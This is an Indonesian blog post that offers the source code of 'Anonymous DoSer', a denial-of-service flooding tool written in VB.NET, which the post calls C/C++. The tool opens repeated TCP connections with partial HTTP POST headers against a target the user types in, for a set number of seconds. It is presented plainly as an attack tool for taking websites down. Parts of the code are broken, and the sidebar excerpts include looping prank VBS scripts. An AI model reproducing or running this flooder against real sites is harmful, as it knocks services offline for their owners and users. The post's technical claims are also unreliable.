Skip to main content

code anonymous doser



pada menyerangan suatu website,pasti banyak yang menggunakan ddos,salah satunya anonymous Doser.anonymous doser banyak digunakan karena sangat kuat dan bagus dalam penyerangan.tetapi banyak orang berpikiran bagaimana cara membuatnya ?.apakah menggunakan bahasa pemograman batch,java,atau pyhton.jawabannya adalah anonymous doser merupakan aplikasi terminal yang dibuat menggunakan visual basic dengan bahasa pemograman C/C+++.mau tau bagaimana bentuk codenya.nih saya kasih tau


anonymous doser
bahasa pemograman : C/C++
penggunaan              : DDOS (distributed denial of service)
pembuatan                : menggunakan visual basic



Private Shared Sub Main(ByVal args As String())
    Console.ForegroundColor = ConsoleColor.Yellow
    Console.WriteLine(ChrW(10) & "             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
    Console.WriteLine("                   crated by database system")
    Console.WriteLine("                     Original Source created by van1lle on HF")
    Console.WriteLine("                  problems ?chrw(10))
    Console.WriteLine("             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
    Console.ForegroundColor = ConsoleColor.Magenta
    Console.Write("Website [URL/IP] : ")
    Dim website As String = Console.ReadLine
    Console.Write("Time [SECONDS] : ")
    Dim s As String = Console.ReadLine
    Console.Write(ChrW(10))
    Dim count As Integer = 1
    Dim loop As Boolean = True
    New Thread(Function
        Dim start As ThreadStart = Nothing
        Dim clients As New List(Of TcpClient)()
        Do While [loop]
            If (start Is Nothing) Then
                start = Function
                    Dim item As New TcpClient()
                    clients.Add(item)
                    Try
                        item.Connect(website, 80)
                        Dim writer As New StreamWriter(item.GetStream)
                        writer.Write(("POST / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & website & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10)))
                        writer.Flush
                        If [loop] Then
                            Console.ForegroundColor = ConsoleColor.Green
                        End If
                        Console.WriteLine(("Server Is Up / Packets sent: " & count))
                        count += 1
                    Catch exception1 As Exception
                        If [loop] Then
                            Console.ForegroundColor = ConsoleColor.Red
                        End If
                        Console.WriteLine("DoS Succeeded, Server Down!")
                    End Try
                End Function
            End If
            New Thread(start).Start
            Thread.Sleep(50)
        Loop
        Dim client As TcpClient
        For Each client In clients
            Try
                client.GetStream.Dispose
            Catch exception1 As Exception
            End Try
        Next
    End Function).Start
    Thread.Sleep(CInt((Integer.Parse(s) * &H3E8)))
    [loop] = False
    Console.WriteLine(ChrW(10) & "DoS Completed")
    Console.WriteLine("Press any key to Close...")
    Console.ReadKey
End Sub

Comments

Post a Comment

Popular posts from this blog

cara membuat aplikasi sederhana dengan notepad

pagi yang memakai windows pasti sudah tau fungsi notepad.notepad sebagai editor simpel yang sudah ada sejak adanya windows 1.0 bagi yang ingin tahu bagaimana cara membuat aplikasi sederhana dari notepad nih saya kasih scriptnya 1. Otomatis membuka dan menutup CD/DVD Komputer Copy script dibawah ini dan paste di notepad anda. Set oWMP = CreateObject(“WMPlayer.OCX.7″) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Simpan dengan format *.vbs. (contoh, otomatis.vbs) Lalu Buka File Tersebut 2. Otomatis Mengetik di Notepad Copy script dibawah ini dan paste di notepad anda. Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “Tulisan ini akan menulis sendiri di notepad anda” loop Simpan dengan format *.vbs. (contoh, Menulis.vbs) Lalu Buka File Tersebut 3. Membuat Pesan mu

perbedaan algoritma dan logaritma

kebanyakan para pelajar-pelajar masih belum mengetahui tentang matematika logaritma dan algoritma,dan karena kedua inipun banyak orang yang berdebat debat, apakah algoritma dan logaritma itu sama atau beda?? ,jawabannya adalah Beda ,berikut: algoritma Dalam matematika dan komputasi, algoritma atau algoritme merupakan kumpulan perintah untuk menyelesaikan suatu masalah. Perintah-perintah ini dapat diterjemahkan secara bertahap dari awal hingga akhir. Masalah tersebut dapat berupa apa saja, dengan catatan untuk setiap masalah, ada kriteria kondisi awal yang harus dipenuhi sebelum menjalankan algoritma. Algoritma akan dapat selalu berakhir untuk semua kondisi awal yang memenuhi kriteria, dalam hal ini berbeda dengan heuristik. Algoritma sering mempunyai langkah pengulangan (iterasi) atau memerlukan keputusan (logika Boolean dan perbandingan) sampai tugasnya selesai. logaritma Logaritma adalah operasi matematika yang merupakan kebalikan dari eksponen atau pemangkatan. Rumus dasar lo

Apa Itu Regedit (Registry Editor)

pengguna windows sudah tau apa itu regedit.ya, dia adalah salah satu tempat untuk mengatur sistem kerja windows,Registry Editor ini adalah tempat pengaturan yang bertujuan untuk mengatur sistem kerja windows,jadi jika kita salah mengatur sistem di dalam regedit ini,maka masalah akan terjadi pada sistem operasi windows kamu.bagaimana cara membuka regedit ini ?? caranya : pertama klik tomblo start  kemudian ketik "regedit" atau bisa juga dengan windows run dengan menekan tombol windows + R dan kemudian ketik "regedit" maka jendela regedit akan muncul mempercepat akses folder dengan menggunakan regedit ini,kita juga bisa mempercepat kinerja sistem windows kita dengan cara mendisable last acces update dengan mengupdate time stamp di registry dengan cara : buka regedit buka file HKEY_LOCAL_MACHINE/System/CurrentControlSet/ControlFileSystem klik kanan kemudia pilih "new" kemudian pilih "DWORD" ( tersedia untuk 32 bit dan